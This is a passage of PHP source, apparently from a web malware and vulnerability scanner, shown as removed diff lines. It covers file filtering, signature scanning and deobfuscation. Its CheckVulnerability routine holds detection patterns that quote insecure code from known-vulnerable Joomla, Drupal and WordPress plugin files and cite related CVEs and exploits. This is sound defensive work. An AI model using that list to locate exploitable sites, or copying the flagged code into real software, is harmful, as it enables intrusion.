- $file_checkers = $this->file_checkers;
- if ($this->match_patterns) {
- $file_checkers[] = $this->check_file_patterns;
- }
- if ($this->no_match_patterns) {
- $file_checkers[] = $this->check_file_not_patterns;
- }
- if ($this->skipRootOwner) {
- $file_checkers[] = $this->check_is_not_root;
- }
- if ($this->skipSystemOwner && is_array($this->skipSystemOwner)) {
- $file_checkers[] = $this->check_is_not_system;
- }
- $dir_checkers = $this->dir_checkers;
- if(!$this->followSymlink) {
- $dir_checkers[] = $this->ignore_symlink;
- }
- if ($this->ignoreQuarantine) {
- $dir_checkers[] = $this->ignore_quar;
- }
- if ($this->skipFilesOlder) {
- $file_checkers[] = $this->check_file_older;
- }
- if ($this->ignoreFilenameByRegexp) {
- $file_checkers[] = $this->check_ignore_filename_template;
- }
- if (!empty($this->ignoreList)) {
- $file_checkers[] = $this->check_ignore_file;
- $dir_checkers[] = $this->check_ignore_file;
- }
- if ($this->onlyFilepathRegexp) {
- $file_checkers[] = $this->check_only_filepath_template;
- }
- if (!empty($this->ignoreExt)) {
- $file_checkers[] = $this->ignore_ext;
- }
- if ($this->imunify_filters) {
- $file_checkers[] = $this->imunify_filter;
- }
- $this->ignoreListPatterns = array_merge($this->ignoreListPatterns, self::IMUNIFY_LOG_PATTERN, self::LOG_AND_MAIL_PATTERN);
- if($this->smartScan) {
- $this->ignoreListPatterns = array_merge($this->ignoreListPatterns, self::SKIP_SMART_MASK);
- }
- $this->file_checkers = $file_checkers;
- $this->dir_checkers = $dir_checkers;
- }
- public function getFileCheckers()
- {
- return $this->file_checkers;
- }
- public function getDirCheckers()
- {
- return $this->dir_checkers;
- }
- private function check($file, $where, $stat = false)
- {
- if (!$file) {
- return false;
- }
- if (!$stat) {
- $stat = stat($file);
- }
- foreach ($where as $func) {
- if(empty($func)) {
- continue;
- }
- if (!$func($file, $stat)) {
- return false;
- }
- }
- return true;
- }
- public function needToScan($file, $stat = false, $only_dir = false)
- {
- if (!$file) {
- return false;
- }
- if (!$stat) {
- $stat = @stat($file);
- if (!$stat) {
- return false;
- }
- }
- if (!$only_dir && !$this->check($file, $this->getFileCheckers(), $stat)) {
- return false;
- }
- if (!$this->check($file, $this->getDirCheckers(), $stat)) {
- return false;
- }
- return true;
- }
- private function getTree($file)
- {
- $tree = [];
- $path = $file;
- $i = 1;
- while ($path !== '.' && $path !== '/') {
- $path = dirname($path, $i);
- $tree[] = $path;
- $i++;
- }
- $tree[] = $file;
- return $tree;
- }
- private function pathRelatesTo($tree, $pathes, $base64 = false)
- {
- foreach ($tree as $path) {
- if ($base64) {
- $path = base64_encode($path);
- }
- if (isset($pathes[$path])) {
- return true;
- }
- }
- return false;
- }
- public function checkShortExt($path)
- {
- return $this->check_short_ext->call($this, $path);
- }
-
- }
- class Scanner
- {
- private $addPrefix;
- private $noPrefix;
- private $finder;
- private $vars;
- private $debug;
- public function __construct($finder, $vars, $debug = null)
- {
- $this->addPrefix = isset($vars->options['addprefix']) ? $vars->options['addprefix'] : '';
- $this->noPrefix = isset($vars->options['noprefix']) ? $vars->options['noprefix'] : '';;
- $this->finder = $finder;
- $this->vars = $vars;
- $this->suspicious = isset($vars->options['with-suspicious']);
- $this->debug = $debug;
- }
- private function CloudAssitedFilter($files_list)
- {
- $black_files = [];
- $white_files = [];
- try {
- $car = Factory::instance()->create(CloudAssistedRequest::class, [CLOUD_ASSIST_TOKEN]);
- $cloud_assist_files = new CloudAssistedFiles($car, $files_list, $this->vars);
- $white_files = $cloud_assist_files->getWhiteList();
- $black_files = $cloud_assist_files->getBlackList();
- unset($cloud_assist_files);
- }
- catch (\Exception $e) {
- fwrite(STDERR, 'Warning: [CAS] ' . $e->getMessage() . PHP_EOL);
- if (isset($this->debug)) {
- $this->debug->QCR_Debug($e->getMessage());
- }
- }
- $this->vars->blackFiles = array_diff_assoc(array_merge($this->vars->blackFiles, $black_files), $white_files);
- return array_diff($files_list, array_keys($black_files), array_keys($white_files));
- }
- public function QCR_ScanDirectories($l_RootDir)
- {
- static $l_Buffer = '';
- if (isset($this->debug)) {
- $this->debug->QCR_Debug('Scan ' . $l_RootDir);
- }
- $listFiles = $this->finder->find($l_RootDir);
- foreach ($listFiles as $l_FileName) {
- if (ONE_PASS) {
- $this->QCR_ScanFile($l_FileName, $this->vars, null, $this->vars->counter++);
- } else {
- $l_Buffer .= FilepathEscaper::encodeFilepathByBase64($l_FileName) . "\n";
- }
- $this->vars->counter++;
- if (strlen($l_Buffer) > 32000) {
- file_put_contents(QUEUE_FILENAME, $l_Buffer, FILE_APPEND) || die2("Cannot write to file " . QUEUE_FILENAME);
- $l_Buffer = '';
- }
- }
- $this->vars->symLinks = $this->finder->getSymlinks();
- $this->vars->doorway = $this->finder->getDoorways();
- $this->vars->foundTotalDirs = $this->finder->getTotalDirs();
- $this->vars->foundTotalFiles = $this->finder->getTotalFiles();
- if (!empty($l_Buffer)
- && (isset($this->vars->options['use-template-in-path'])
- || $l_RootDir == ROOT_PATH
- )
- ) {
- file_put_contents(QUEUE_FILENAME, $l_Buffer, FILE_APPEND) || die2("Cannot write to file " . QUEUE_FILENAME);
- $l_Buffer = '';
- }
- unset($listFiles);
- }
- public function QCR_GoScan($s_file, $callback = null, $base64_encoded = true, $skip_first_line = false)
- {
- if (isset($this->debug)) {
- $this->debug->QCR_Debug('QCR_GoScan ');
- }
- try {
- $i = 0;
- $filesForCloudAssistedScan = [];
- foreach ($s_file as $index => $filepath_encoded) {
- if ($callback !== null) {
- $this->callCallback($callback);
- }
- if ($skip_first_line && $index == 0) {
- $i = 1;
- continue;
- }
- $filepath = $base64_encoded ? FilepathEscaper::decodeFilepathByBase64($filepath_encoded) : $filepath_encoded;
- if (!file_exists($filepath) || !is_file($filepath) || !is_readable($filepath)) {
- continue;
- }
- if (!empty($this->vars->maxMinUid)) {
- $stat = stat($filepath);
- if (!($stat['uid'] >= $this->vars->maxMinUid[0] && $this->stat['uid'] <= $this->vars->maxMinUid[1])) {
- continue;
- }
- }
- $filesize = filesize($filepath);
- if ($filesize > MAX_FILE_SIZE_FOR_CHECK || $filesize < MIN_FILE_SIZE_FOR_CHECK) {
- continue;
- }
- if (substr($filepath, -1) == DIR_SEPARATOR || !defined('CLOUD_ASSIST_TOKEN')) {
- $this->QCR_ScanFile($filepath, $this->vars, $callback, $i++);
- continue;
- }
- if ($this->isFileTooBigForCloudscan($filesize)) {
- $this->QCR_ScanFile($filepath, $this->vars, $callback, $i++);
- continue;
- }
- // collecting files to scan with Cloud Assistant
- $filesForCloudAssistedScan[] = $filepath;
- }
- if (count($filesForCloudAssistedScan) == 0) {
- return;
- }
- if (defined('RAPID_ACCOUNT_SCAN')) {
- $cloud_assited_storage = Factory::instance()->create(CloudAssistedStorage::class, [RAPID_ACCOUNT_SCAN]);
- $storage = Factory::instance()->create(RapidScanStorage::class, [RAPID_ACCOUNT_SCAN]);
- /** @var RapidAccountScan $scanner */
- $scanner = Factory::instance()->create(RapidAccountScan::class, [$this, $storage, $cloud_assited_storage, &$this->vars, $i]);
- $scanner->scan($filesForCloudAssistedScan, $this->vars, constant('RapidAccountScan::RESCAN_' . RAPID_ACCOUNT_SCAN_TYPE));
- if ($scanner->getStrError()) {
- if (isset($this->debug)) {
- $this->debug->QCR_Debug('Rapid scan log: ' . $scanner->getStrError());
- }
- }
- $this->vars->rescanCount += $scanner->getRescanCount();
- } else {
- $scan_bufer_files = function ($files_list, &$i) use ($callback) {
- $this->vars->hashtable = new HashTable();
- $files_to_scan = $this->CloudAssitedFilter($files_list);
- foreach ($files_to_scan as $filepath) {
- $this->QCR_ScanFile($filepath, $this->vars, $callback, $i++);
- }
- $this->vars->hashtable = null;
- };
- $files_bufer = [];
- foreach ($filesForCloudAssistedScan as $l_Filename) {
- $files_bufer[] = $l_Filename;
- if (count($files_bufer) >= CLOUD_ASSIST_LIMIT) {
- $scan_bufer_files($files_bufer, $i);
- $files_bufer = [];
- }
- }
- if (count($files_bufer)) {
- $scan_bufer_files($files_bufer, $i);
- }
- unset($files_bufer);
- }
- } catch (Exception $e) {
- if (isset($this->debug)) {
- $this->debug->QCR_Debug($e->getMessage());
- }
- }
- }
- public function QCR_ScanFile($l_Filename, $vars, $callback = null, $i = 0, $show_progress = true)
- {
- $return = array(RapidScanStorageRecord::RX_GOOD, '', '');
- $g_SkipNextCheck = false;
- /** @var CriticalFileSpecification $criticalFileSpecification */
- $criticalFileSpecification = Factory::instance()->create(CriticalFileSpecification::class);
- if ($vars->fileinfo !== null) {
- if ($l_Filename !== $vars->fileinfo->getFilename()) {
- unset($file);
- $vars->fileinfo = null;
- }
- }
- if ($vars->fileinfo == null) {
- $file = new FileInfo($l_Filename, $i, $vars->hashtable);
- $vars->fileinfo = $file;
- }
- $file = $vars->fileinfo;
- $vars->crc = 0;
- $l_CriticalDetected = false;
- if (substr($l_Filename, -1) == DIR_SEPARATOR) {
- // FOLDER
- $vars->structure['n'][$i] = $l_Filename;
- $vars->totalFolder++;
- printProgress($vars->files_and_ignored, $l_Filename, $vars);
- unset($file);
- $vars->fileinfo = null;
- return null;
- }
- if (isset($this->debug)) {
- $this->debug->QCR_Debug('Scan file ' . $l_Filename);
- }
- if ($show_progress) {
- printProgress(++$vars->files_and_ignored, $l_Filename, $vars);
- }
- $l_Ext = strtolower(pathinfo($l_Filename, PATHINFO_EXTENSION));
- $l_Content = '';
- if ($file->isBinary()) {
- if(defined('USE_HEURISTICS') || defined('USE_HEURISTICS_SUSPICIOUS')) {
- $vars->crc = $file->getSha1file();
- $this->AddResult($file, $i, $vars);
- if (defined('USE_HEURISTICS')) {
- $vars->criticalPHP[] = $i;
- $vars->criticalPHPFragment[] = 'SMW-HEUR-ELF';
- $vars->criticalPHPSig[] = 'SMW-HEUR-ELF';
- }
- if (defined('USE_HEURISTICS_SUSPICIOUS')) {
- $vars->warningPHP[] = $i;
- $vars->warningPHPFragment[] = 'SMW-HEUR-ELF';
- $vars->warningPHPSig[] = 'SMW-HEUR-ELF';
- }
- $return = array(RapidScanStorageRecord::HEURISTIC, 'SMW-HEUR-ELF', 'SMW-HEUR-ELF');
- unset($file);
- $vars->fileinfo = null;
- return $return;
- }
- unset($file);
- $vars->fileinfo = null;
- return null;
- }
- // FILE
- $is_too_big = $this->isFileTooBigForScanWithSignatures($file->getSize());
- $hash = $file->getSha1file();
- $l_TSStartScan = microtime(true);
- if ($this->check_binmalware($hash)) {
- $vars->totalFiles++;
- $vars->crc = $hash;
- $this->AddResult($file, $i, $vars);
- $vars->criticalPHP[] = $i;
- $vars->criticalPHPFragment[] = "BIN-" . $vars->crc;
- $vars->criticalPHPSig[] = "bin_" . $vars->crc;
- $return = array(RapidScanStorageRecord::RX_MALWARE, "bin_" . $vars->crc, "BIN-" . $vars->crc);
- } elseif (!MAX_SIZE_SCAN_BYTES && $is_too_big) {
- $vars->bigFiles[] = $i;
- if (function_exists('aibolit_onBigFile')) {
- aibolit_onBigFile($l_Filename);
- }
- $this->AddResult($file, $i, $vars);
- if ((!AI_HOSTER) && $criticalFileSpecification->satisfiedBy($l_Ext, 'extensions')) {
- $vars->criticalPHP[] = $i;
- $vars->criticalPHPFragment[] = "BIG FILE. SKIPPED.";
- $vars->criticalPHPSig[] = "big_1";
- }
- } else {
- $vars->totalFiles++;
- $file_type = filetype($l_Filename);
- if ($file_type == 'file' || (isset($vars->options['follow-symlink']) && $file_type == 'link')) {
- if ($is_too_big && MAX_SIZE_SCAN_BYTES) {
- $l_Content = $file->getContentBytes(MAX_SIZE_SCAN_BYTES);
- } else {
- $l_Content = $file->getContent();
- }
- $l_Unwrapped = $file->getContentWithoutSpaces(MAX_SIZE_SCAN_BYTES);
- }
- if (($l_Content == '' || $l_Unwrapped == '') && $file->getSize() > 0) {
- $vars->notRead[] = $i;
- if (function_exists('aibolit_onReadError')) {
- aibolit_onReadError($l_Filename, 'io');
- }
- $return = array(RapidScanStorageRecord::CONFLICT, 'notread','');
- $this->AddResult('[io] ' . $l_Filename, $i, $vars);
- unset($file);
- $vars->fileinfo = null;
- return $return;
- }
- // ignore itself
- if (strpos($l_Content, '6dbb90dc4e81f3fc56e1396a8db92e5e') !== false) {
- unset($file);
- $vars->fileinfo = null;
- return false;
- }
- $vars->crc = $file->getHash();
- $l_UnicodeContent = Encoding::detectUTFEncoding($l_Content);
- //$l_Unwrapped = $l_Content;
- // check vulnerability in files
- $l_CriticalDetected = $this->CheckVulnerability($l_Filename, $i, $l_Content, $vars);
- if ($l_UnicodeContent !== false) {
- if (Encoding::iconvSupported()) {
- $l_Unwrapped = Encoding::convertToCp1251($l_UnicodeContent, $l_Unwrapped);
- } else {
- $vars->notRead[] = $i;
- if (function_exists('aibolit_onReadError')) {
- aibolit_onReadError($l_Filename, 'ec');
- }
- $return = array(RapidScanStorageRecord::CONFLICT, 'no_iconv', '');
- $this->AddResult('[ec] ' . $l_Filename, $i, $vars);
- }
- }
- // critical
- $g_SkipNextCheck = false;
- if ((!AI_HOSTER) || AI_DEOBFUSCATE) {
- $l_DeobfObj = new Deobfuscator($l_Unwrapped, $l_Content);
- $l_DeobfType = $l_DeobfObj->getObfuscateType($l_Unwrapped);
- }
- if (isset($l_DeobfType) && $l_DeobfType != '') {
- $l_Unwrapped = $l_DeobfObj->deobfuscate();
- $g_SkipNextCheck = $this->checkFalsePositives($l_Filename, $l_Unwrapped, $l_DeobfType, $vars);
- } else {
- if (DEBUG_MODE) {
- stdOut("\n...... NOT OBFUSCATED\n");
- }
- }
- $l_Unwrapped = Normalization::normalize($l_Unwrapped);
- $precheck = function ($type, $content) use ($l_Ext, $criticalFileSpecification) {
- $critical_params = [
- 'CriticalPHP' => ['extensions', 'critical_content'],
- 'CriticalPHP_2' => ['extensions', 'critical_content'],
- 'CriticalPHP_3' => ['extensions', 'critical_content'],
- 'CriticalPHP_4' => ['extensions', 'critical_content'],
- 'CriticalPHP_5' => ['extensions', 'critical_content'],
- 'CriticalPHPGIF' => ['extensions', 'critical_content'],
- 'CriticalPHPUploader' => ['extensions', 'critical_content'],
- 'CriticalJS' => ['js_extensions', 'critical_js_content'],
- 'CriticalJS_PARA' => ['js_extensions', 'critical_js_content'],
- 'Phishing' => ['phish_extensions', 'critical_phish_content'],
- ];
- if (!SMART_SCAN || !isset($critical_params[$type])) {
- return true;
- }
- if (isset($check_params[$type])) {
- $this->satisfiedBySmartScan($criticalFileSpecification, $l_Ext, $content, $check_params[$type][0], $check_params[$type][1]);
- }
- };
- $processResult = function ($checker, $content, $l_Pos, $l_SigId, &$return) use (&$vars, $l_Ext, $i) {
- $checkers = [
- 'CriticalPHP' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalPHP_2' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalPHP_3' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalPHP_4' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalPHP_5' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalPHPGIF' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalPHPUploader' => ['criticalPHP', 'criticalPHPFragment', 'criticalPHPSig'],
- 'CriticalJS' => ['criticalJS', 'criticalJSFragment', 'criticalJSSig'],
- 'CriticalJS_PARA' => ['criticalJS', 'criticalJSFragment', 'criticalJSSig'],
- 'WarningPHP' => ['warningPHP', 'warningPHPFragment', 'warningPHPSig'],
- 'Phishing' => ['phishing', 'phishingFragment', 'phishingSigFragment'],
- 'Adware' => ['adwareList', 'adwareListFragment'],
- ];
- if (strpos($checker, 'Critical') !== false) {
- if ($l_Ext == 'js') {
- $checker = 'CriticalJS';
- }
- $return = array(RapidScanStorageRecord::RX_MALWARE, $l_SigId, $this->getFragment($content, $l_Pos));
- }
- if ($checker == 'WarningPHP' || $checker == 'Phishing') {
- $return = array(RapidScanStorageRecord::RX_SUSPICIOUS, $l_SigId, $this->getFragment($content, $l_Pos));
- }
- $vars->{$checkers[$checker][0]}[] = $i;
- $vars->{$checkers[$checker][1]}[] = $this->getFragment($content, $l_Pos);
- if (isset($checkers[$checker][2])) {
- $vars->{$checkers[$checker][2]}[] = $l_SigId;
- }
- };
- $l_Pos = 0;
- $l_SigId = '';
- if (!$g_SkipNextCheck) {
- $checkers['CriticalPHP'] = true;
- if (AI_EXPERT_MODE > 0) {
- $checkers['CriticalPHP_3'] = true;
- }
- if (AI_EXPERT_MODE > 1) {
- $checkers['CriticalPHP_2'] = true;
- }
- $checkers['CriticalPHP_4'] = true;
- if (AI_EXPERT_MODE > 0) {
- $checkers['CriticalPHP_5'] = true;
- }
- if (!AI_HOSTER && AI_EXPERT > 0 && $l_Ext == 'php') {
- $checkers['CriticalPHPGIF'] = true;
- }
- if (!AI_HOSTER && AI_EXPERT > 1 && strpos($l_Ext, 'ph') !== false) {
- $checkers['CriticalPHPUploader'] = true;
- }
- $checkers['CriticalJS'] = false;
- if (AI_EXPERT_MODE > 1) {
- $checkers['CriticalJS_PARA'] = false;
- }
- if ($this->suspicious) {
- $checkers['WarningPHP'] = false;
- $checkers['Phishing'] = true;
- $checkers['Adware'] = false;
- }
- $g_SkipNextCheck = ScanUnit::QCR_ScanContent($checkers, $l_Unwrapped, $l_Content, $vars->signs, $this->debug, $precheck,
- $processResult, $return);
- }
- if (!$g_SkipNextCheck && isset($checkers['Adware'])) {
- // articles
- if (stripos($l_Filename, 'article_index')) {
- $vars->adwareList[] = $i;
- $l_CriticalDetected = true;
- }
- }
- } // end of if (!$g_SkipNextCheck) {
- //printProgress(++$_files_and_ignored, $l_Filename);
- $this->delayWithCallback(SCAN_DELAY, $callback);
- $l_TSEndScan = microtime(true);
- if ($l_TSEndScan - $l_TSStartScan >= 0.5) {
- $this->delayWithCallback(SCAN_DELAY, $callback);
- }
- if ($g_SkipNextCheck || $l_CriticalDetected) {
- $this->AddResult($file, $i, $vars);
- }
- unset($file);
- $vars->fileinfo = null;
- unset($l_Unwrapped);
- unset($l_Content);
- return $return;
- }
- private function callCallback($callback)
- {
- if ($callback !== null) {
- call_user_func($callback);
- }
- }
- private function delayWithCallback($delay, $callback)
- {
- $delay *= 1000;
- $this->callCallback($callback);
- while ($delay > 500000) {
- $delay -= 500000;
- usleep(500000);
- $this->callCallback($callback);
- }
- usleep($delay);
- $this->callCallback($callback);
- }
- public function AddResult($file, $i, $vars)
- {
- if (is_string($file)) {
- $vars->structure['n'][$i] = $file;
- return;
- }
- $vars->structure['n'][$i] = $file->getFilename();
- $vars->structure['s'][$i] = $file->getSize();
- $vars->structure['c'][$i] = $file->getCreated();
- $vars->structure['m'][$i] = $file->getModified();
- $vars->structure['e'][$i] = time();
- $vars->structure['crc'][$i] = $vars->crc;
- if (!$this->isFileTooBigForScanWithSignatures($file->getSize())) {
- $vars->structure['sha256'][$i] = $file->getSha256();
- }
- }
- private function satisfiedBySmartScan($fs, $ext, $content, $ext_table, $content_table)
- {
- $skip = $fs->satisfiedBy($ext, $ext_table) && $fs->satisfiedByContent($content, $content_table);
- if ($skip && DEBUG_MODE) {
- echo "Skipped file, not critical.\n";
- }
- return $skip;
- }
- ///////////////////////////////////////////////////////////////////////////
- private function CheckVulnerability($par_Filename, $par_Index, $par_Content, $vars)
- {
- global $g_CmsListDetector, $defaults;
- $use_cms_detector = ($g_CmsListDetector instanceof CmsVersionDetector);
- if (!$use_cms_detector && !$defaults['use_template_in_path']) {
- return false;
- }
- $l_Vuln = array();
- $par_Filename = strtolower($par_Filename);
- if ((strpos($par_Filename, 'libraries/joomla/session/session.php') !== false) && (strpos($par_Content, '&& filter_var($_SERVER[\'HTTP_X_FORWARDED_FOR') === false)) {
- $l_Vuln['id'] = 'RCE : https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- if ($use_cms_detector
- && (strpos($par_Filename, 'administrator/components/com_media/helpers/media.php') !== false)
- && (strpos($par_Content, '$format == \'\' || $format == false ||') === false)
- ) {
- if ($g_CmsListDetector->isCms(CmsVersionDetector::CMS_JOOMLA, '1.5')) {
- $l_Vuln['id'] = 'AFU : https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if ($use_cms_detector
- && (strpos($par_Filename, 'joomla/filesystem/file.php') !== false)
- && (strpos($par_Content, '$file = rtrim($file, \'.\');') === false)
- ) {
- if ($g_CmsListDetector->isCms(CmsVersionDetector::CMS_JOOMLA, '1.5')) {
- $l_Vuln['id'] = 'AFU : https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if ((strpos($par_Filename, 'editor/filemanager/upload/test.html') !== false) || (stripos($par_Filename, 'editor/filemanager/browser/default/connectors/php/') !== false) || (stripos($par_Filename, 'editor/filemanager/connectors/uploadtest.html') !== false) || (strpos($par_Filename, 'editor/filemanager/browser/default/connectors/test.html') !== false)) {
- $l_Vuln['id'] = 'AFU : FCKEDITOR : http://www.exploit-db.com/exploits/17644/ & /exploit/249';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- if ((strpos($par_Filename, 'inc_php/image_view.class.php') !== false) || (strpos($par_Filename, '/inc_php/framework/image_view.class.php') !== false)) {
- if (strpos($par_Content, 'showImageByID') === false) {
- $l_Vuln['id'] = 'AFU : REVSLIDER : http://www.exploit-db.com/exploits/35385/';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'includes/database/database.inc') !== false) {
- if (strpos($par_Content, 'foreach ($data as $i => $value)') !== false) {
- $l_Vuln['id'] = 'SQLI : DRUPAL : CVE-2014-3704';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'engine/classes/min/index.php') !== false) {
- if (strpos($par_Content, 'tr_replace(chr(0)') === false) {
- $l_Vuln['id'] = 'AFD : MINIFY : CVE-2013-6619';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if ((strpos($par_Filename, 'timthumb.php') !== false) || (strpos($par_Filename, 'thumb.php') !== false) || (strpos($par_Filename, 'cache.php') !== false) || (strpos($par_Filename, '_img.php') !== false)) {
- if (strpos($par_Content, 'code.google.com/p/timthumb') !== false && strpos($par_Content, '2.8.14') === false) {
- $l_Vuln['id'] = 'RCE : TIMTHUMB : CVE-2011-4106,CVE-2014-4663';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'components/com_rsform/helpers/rsform.php') !== false) {
- if (preg_match('~define\s*\(\s*\'_rsform_version\'\s*,\s*\'([^\']+)\'\s*\)\s*;~msi', $par_Content, $version)) {
- $version = $version[1];
- if (version_compare($version, '1.5.2') !== 1) {
- $l_Vuln['id'] = 'RCE : RSFORM : rsform.php, LINE 1605';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- }
- return false;
- }
- if (strpos($par_Filename, 'fancybox-for-wordpress/fancybox.php') !== false) {
- if (strpos($par_Content, '\'reset\' == $_REQUEST[\'action\']') !== false) {
- $l_Vuln['id'] = 'CODE INJECTION : FANCYBOX';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'cherry-plugin/admin/import-export/upload.php') !== false) {
- if (strpos($par_Content, 'verify nonce') === false) {
- $l_Vuln['id'] = 'AFU : Cherry Plugin';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'tiny_mce/plugins/tinybrowser/tinybrowser.php') !== false) {
- $l_Vuln['id'] = 'AFU : TINYMCE : http://www.exploit-db.com/exploits/9296/';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- if (strpos($par_Filename, '/bx_1c_import.php') !== false) {
- if (strpos($par_Content, '$_GET[\'action\']=="getfiles"') !== false) {
- $l_Vuln['id'] = 'AFD : https://habrahabr.ru/company/dsec/blog/326166/';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- }
- if (strpos($par_Filename, 'scripts/setup.php') !== false) {
- if (strpos($par_Content, 'PMA_Config') !== false) {
- $l_Vuln['id'] = 'CODE INJECTION : PHPMYADMIN : http://1337day.com/exploit/5334';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, '/uploadify.php') !== false) {
- if (strpos($par_Content, 'move_uploaded_file($tempFile,$targetFile') !== false) {
- $l_Vuln['id'] = 'AFU : UPLOADIFY : CVE: 2012-1153';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'com_adsmanager/controller.php') !== false) {
- if (strpos($par_Content, 'move_uploaded_file($file[\'tmp_name\'], $tempPath.\'/\'.basename($file[') !== false) {
- $l_Vuln['id'] = 'AFU : https://revisium.com/ru/blog/adsmanager_afu.html';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'wp-content/plugins/wp-mobile-detector/resize.php') !== false) {
- if (strpos($par_Content, 'file_put_contents($path, file_get_contents($_REQUEST[\'src\']));') !== false) {
- $l_Vuln['id'] = 'AFU : https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'core/lib/drupal.php') !== false) {
- $version = '';
- if (preg_match('|VERSION\s*=\s*\'(8\.\d+\.\d+)\'|smi', $par_Content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- if (($version !== '') && (version_compare($version, '8.5.1', '<'))) {
- $l_Vuln['id'] = 'Drupageddon 2 : SA-CORE-2018–002';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'changelog.txt') !== false) {
- $version = '';
- if (preg_match('|Drupal\s+(7\.\d+),|smi', $par_Content, $tmp_ver)) {
- $version = $tmp_ver[1];
- }
- if (($version !== '') && (version_compare($version, '7.58', '<'))) {
- $l_Vuln['id'] = 'Drupageddon 2 : SA-CORE-2018–002';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- return false;
- }
- if (strpos($par_Filename, 'phpmailer.php') !== false) {
- $l_Detect = false;
- if (strpos($par_Content, 'PHPMailer') !== false) {
- $l_Found = preg_match('~Version:\s*(\d+)\.(\d+)\.(\d+)~', $par_Content, $l_Match);
- if ($l_Found) {
- $l_Version = $l_Match[1] * 1000 + $l_Match[2] * 100 + $l_Match[3];
- if ($l_Version < 2520) {
- $l_Detect = true;
- }
- }
- if (!$l_Found) {
- $l_Found = preg_match('~Version\s*=\s*\'(\d+)\.*(\d+)\.(\d+)~i', $par_Content, $l_Match);
- if ($l_Found) {
- $l_Version = $l_Match[1] * 1000 + $l_Match[2] * 100 + $l_Match[3];
- if ($l_Version < 5220) {
- $l_Detect = true;
- }
- }
- }
- if ($l_Detect) {
- $l_Vuln['id'] = 'RCE : CVE-2016-10045, CVE-2016-10031';
- $l_Vuln['ndx'] = $par_Index;
- $vars->vulnerable[] = $l_Vuln;
- return true;
- }
- }
- return false;
- }
- }
- private function checkFalsePositives($l_Filename, $l_Unwrapped, $l_DeobfType, $vars)
- {
- if ($l_DeobfType != '') {
- if (DEBUG_MODE) {
- stdOut("\n-----------------------------------------------------------------------------\n");
- stdOut("[DEBUG]" . $l_Filename . "\n");
- stdOut("\n...... $l_DeobfType ...........\n");
- var_dump($l_Unwrapped);
- stdOut("\n");
- }
- switch ($l_DeobfType) {
- case 'Bitrix':
- foreach ($vars->signs->_DeMapper as $fkey => $fvalue) {
- if (DEBUG_MODE) {
- stdOut("[$fkey] => [$fvalue]\n");
- }
- if ((strpos($l_Filename, $fkey) !== false) && (strpos($l_Unwrapped, $fvalue) !== false)) {
- if (DEBUG_MODE) {
- stdOut("\n[DEBUG] *** SKIP: False Positive\n");
- }
- return true;
- }
- }
- break;
- }
- return false;
- }
- }
- private function getFragment($par_Content, $par_Pos)
- {
- $l_MaxChars = MAX_PREVIEW_LEN;
- $par_Content = preg_replace('/[\x00-\x1F\x80-\xFF]/', '~', $par_Content);
- $l_MaxLen = strlen($par_Content);
- $l_RightPos = min($par_Pos + $l_MaxChars, $l_MaxLen);
- $l_MinPos = max(0, $par_Pos - $l_MaxChars);
- $l_FoundStart = substr($par_Content, 0, $par_Pos);
- $l_FoundStart = str_replace("\r", '', $l_FoundStart);
- $l_LineNo = strlen($l_FoundStart) - strlen(str_replace("\n", '', $l_FoundStart)) + 1;
